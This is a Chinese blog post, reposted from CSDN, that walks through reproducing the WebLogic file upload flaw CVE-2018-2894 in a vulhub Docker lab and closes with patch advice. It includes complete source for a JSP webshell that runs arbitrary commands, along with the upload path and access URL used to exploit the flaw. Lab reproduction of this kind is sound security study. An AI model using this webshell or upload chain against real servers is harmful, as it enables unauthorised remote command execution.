0


Weblogic 任意文件上传漏洞(CVE-2018-2894)复现

weblogic

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

**CVE-2018-2894 **该漏洞属于一个远程上传漏洞,通过更改Work Home工作目录,用有效的已部署的Web应用目录替换默认的存储JKS Keystores文件的目录,之后使用"添加Keystore设置"的功能,可上传恶意的JSP脚本文件,造成攻击。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do;

受影响的版本:weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。

漏洞环境准备

下载好vulhub

进入目录启动 weblogic 12.2.1.3

docker-compose up -d

查看端口情况

docker-compose  ps

执行

docker-compose logs | grep password

可查看管理员密码

管理员用户名为

weblogic
密码为
B6eYMuo9

环境启动后,访问

http://your-ip:7001/console

,即可看到后台登录页面。使用刚刚获得的账号密码登录

登录后台页面,点击

base_domain

的配置,在“高级”中开启“启用 Web 服务测试页”选项:记得保存设置!!!要不然利用不到webshell

接下来访问

http://your-ip:7001/ws_utc/config.do

,设置Work Home Dir为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

。我将目录设置为

ws_utc

应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

漏洞复现

写一个jsp文件上传

这里我们上传一个可以利用的webshell

<%@ page import="java.util.*,java.io.*"%>

<%

%>

<HTML><BODY>

Commands with JSP

<FORM METHOD="GET" NAME="myform" ACTION="">

<INPUT TYPE="text" NAME="cmd">

<INPUT TYPE="submit" VALUE="Send">

</FORM>

<pre>

<%

if (request.getParameter("cmd") != null) {

    out.println("Command: " + request.getParameter("cmd") + "<BR>");

    Process p;

    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){

        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));

    }

 else{

        p = Runtime.getRuntime().exec(request.getParameter("cmd"));

    }

    OutputStream os = p.getOutputStream();

    InputStream in = p.getInputStream();

    DataInputStream dis = new DataInputStream(in);

    String disr = dis.readLine();

    while ( disr != null ) {

    out.println(disr);

    disr = dis.readLine();

    }

}

%>

</pre>

</BODY></HTML>

通过抓包我们可以发现返回了时间戳(我上传了两个jsp返回两个时间戳)

然后访问

http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

即可执行webshell

例如返回时间戳为1673447062823 上传jsp文件名为 4.jsp

访问

http://192.168.10.142:7001/ws_utc/css/config/keystore/1673447062823_4.jsp

实验完成后记得关闭weblogic

docker-compose  down

修复建议

  1. 升级到官方的最新版本;
  2. config.do,begin.do页面强制登录后才授权后访问
标签: web安全

本文转载自: https://blog.csdn.net/qq_53105813/article/details/128663025
版权归原作者 Dalean. 所有, 如有侵权,请联系我们删除。

“Weblogic 任意文件上传漏洞(CVE-2018-2894)复现”的评论:

还没有评论